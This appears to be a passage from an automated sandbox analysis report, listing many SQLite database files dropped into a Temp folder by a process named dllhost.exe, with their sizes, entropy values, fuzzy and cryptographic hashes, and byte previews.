                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\rTH0rHhF4g

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\rtlquxckKn

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\sFcsqPEH90

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\sKEYZVoUUM

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\sQYBLZibRA

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\sUQTCsWtYS

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\skPmrbSxOG

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\tC9vS3QjxI

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\tGh00Xz7E8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\tWbQ6GU9Er

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\tZLpsteDHr

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\tjgJIgiJfC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\uQGply4RKV

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\uSTrWCY4Nh

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\vEP0ObkRxZ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\vNYwIYgNuf

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\vce3K6cHUZ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\vfpK1LWhjZ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\w2AUCOw8O9

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\w9aL5glSU1

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\wIGn397jZF

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
